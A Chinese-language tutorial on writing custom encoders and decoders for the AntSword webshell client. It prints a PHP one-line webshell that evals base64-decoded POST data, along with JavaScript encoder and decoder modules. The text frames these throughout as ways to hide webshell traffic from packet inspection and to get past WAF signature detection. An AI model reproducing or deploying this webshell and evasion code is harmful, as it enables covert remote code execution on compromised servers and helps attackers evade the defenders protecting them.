蚁剑编解码器原理
编码器:对发送流量进行编码,服务端进行解码
解码器:对服务端对返回的流量进行解码
一、编码器
输入三个参数
pwd:连接密码,类型string。
data:传输的数据数组,类型string数组,。
ext:一些扩展选项,在一些场景可能会用到。
输出一个参数
data: 编码器处理后的数组,这个你可以通过代理查看post提交了哪些数据,和这里的data是完全一样的
下面是编码器默认生成的代码
原理:将编码和解密后的代码 全都传递过去
我们在抓包的时候会看到有一段 明文代码,也就是解密后的代码
以下代码的功能:
- 将要发送的数据进行 编码,对应
data[randomID]
- 将从服务器接收的数据进行 解码,对应
data[pwd]
,解码后依然会再次发给服务器,因此就能在requestBody中看到 明文传输
/**
* php::base64编码器
* Create at: 2021/10/17 14:07:48
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
编码器修改
如果不想要传递解码后的代码这一步,需要更改以下两个内容
-
上传到 服务器的webshell(一句话木马)
<?php eval(base64_decode($_POST["test"]));?>
-
修改编码器的内容,使之不发送 解码后的内容,直接只发送 base64编码后的数据
/** * php::base64编码器 * Create at: 2021/10/17 22:03:40 */ 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data, ext={}) => { // ########## 请在下方编写你自己的代码 ################### // 以下代码为 PHP Base64 样例 // 生成一个随机变量名 //let randomID = `_0x${Math.random().toString(16).substr(2)}`; // 原有的 payload 在 data['_']中 // 取出来之后,转为 base64 编码并放入 randomID key 下 //data[randomID] = Buffer.from(data['_']).toString('base64'); // shell 在接收到 payload 后,先处理 pwd 参数下的内容, data[pwd] = Buffer.from(data['_']).toString('base64'); // ########## 请在上方编写你自己的代码 ################### // 删除 _ 原有的payload delete data['_']; // 返回编码器处理后的 payload 数组 return data; }
然后进行连接,会显示连接成功
最后抓包看一下数据包,这样就看不到 解码后的代码了,隐蔽性就有了很大的提升
但是像这种通过虚拟终端执行命令,防御者可以通过命令执行回显内容进而判断是 攻击事件
因此我们还需要考虑解码模块,也就是说解码器不要选择默认的方式
二、解码器
首先看一下解码的两个关键函数 asoutput
和 decode_buff
- asoutput:将返回的数据编码
- decode_buff:接收时进行解码操作
ext是一个扩展选项,有包括密码等选项,可扩展操作,比如需要有key进行解码。
/**
* php::base64解码器
* Create at: 2021/10/17 22:02:33
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
编写解码器之后,进行测试,会发现响应包也进行了加密,并且返回部分前后有分界字符串,只有客户端知道分界位置。WAF不知道,也就没办法解码
但是随机技术的不断发展与进步,很多时候WAF也能够通过正则匹配的方式进行有效的识别 base64
编码,因此我们需要更复杂的加密无绕过WAF
例如,我们执行了一个命令,因为命令是固定不变的,因此编码后也是固定不变的,就能够以此作为特征去检测